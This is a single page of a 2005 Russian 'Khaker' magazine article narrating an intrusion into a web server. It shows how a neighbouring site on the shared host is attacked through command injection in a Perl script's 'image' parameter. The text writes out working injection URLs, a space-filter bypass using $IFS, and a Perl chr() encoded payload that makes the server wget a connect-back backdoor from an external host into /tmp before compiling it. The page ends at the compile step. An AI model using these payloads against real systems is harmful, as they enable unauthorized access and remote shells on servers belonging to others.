Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #82, ОКТЯБРЬ 2005 г.

Ночная бомбардировка

_1nf3ct0r_ (dr.pascal@mail.ru)

Хакер, номер #082, стр. 082-054-2


[зайдем к соседям]

Для танкистов поясню, что этот метод подразумевает получение информации обо всех виртуальных серверах, расположенных на одной машине с атакуемым ресурсом. Цель получения этой информации - взломать один из сайтов-соседей и использовать эту площадку для дальнейшего проникновения. Так я и поступил: зайдя на www.domainsdb.net, я ввел адрес ресурса в форму и получил в ответ два сайта: www.target.com и www.hackme.net. Чтобы двигаться дальше, мне надо было сломать один из этих серверов. Поскольку www.target.com был первым в моем списке, я принялся за него, но спустя 15 минут я понял, что тут нет ни одного скрипта и мне ничего не светит. А вот Hackme.net выглядел посимпатичнее, и что-то подсказывало мне - я на верном пути.

[подводные камни]

Я довольно быстро отыскал бажный скрипт. Как только я увидел ссылку вида www.hackme.net/company/colleagues/whois.pl?image=semike.jpg, на моем лице появилась улыбка и я понял, что интуиция меня не подвела. Я не знал, как именно открывается этот файл, поэтому попробовал различные варианты дальнейшей атаки.

Из всех испытанных мною вариантов, требуемого результата добился только один запрос: www.hackme.net/company/colleagues/whois.pl?image=ls|. В результате этого реквеста, на сервере выполнилась команда ls. Через несколько секунд я уже знал, что веб-сервер крутится под пользователем nobody, однако выяснить версию системы не представлялось возможным: привычная команда uname -a не выполнялась. По-видимому, админ фильтровал пробелы и не пускал такие строки на обработку программы. Настало время для обхода фильтрации. Я решил попробовать вместо пробела вставлять переменную окружения $IFS, а заодно научится выполнять Perl-код. Моя догадка получила подтверждение, и обратившись к www.hackme.net/company/colleagues/whois.pl?image=uname$IFS-a|, я узнал все сведения об установленной системе - это был последний пропатченный Linux, сплоитов для которого не было. Так что придется мне поднимать привилегии вручную :).

Решено было закачать на сервер connback-бэкдор, тем более, что на площадке был установлен wget. Я посмотрел ASCII-таблицу и узнал коды требуемых мне для дальнейшей атаки символов: дефис (45), слэш (47), одинарная кавычка (39) и вертикальная черта (7C).

Это было сделано для того, чтобы обойти фильтрацию: неугодный символ можно было легко заменить Perl-конструкцией chr(КОД_СИВОЛА), передав эту строку на выполнение интерпретатору Perl: www.hackme.net/company/colleagues/whois.pl?image=`perl$IFS-e$IFS"print$IFS.chr(39).wget$IFSinfectors-xoct.narod.ru.chr(39).chr(47).connback.c$IFS.chr(45).O'.chr(47).'tmp'.chr(47).'connback.c.chr(39)"|`

Так я залил бэкдор и скомпилировал уже установленный GCC:

Назад на стр. 082-054-1  Содержание  Вперед на стр. 082-054-3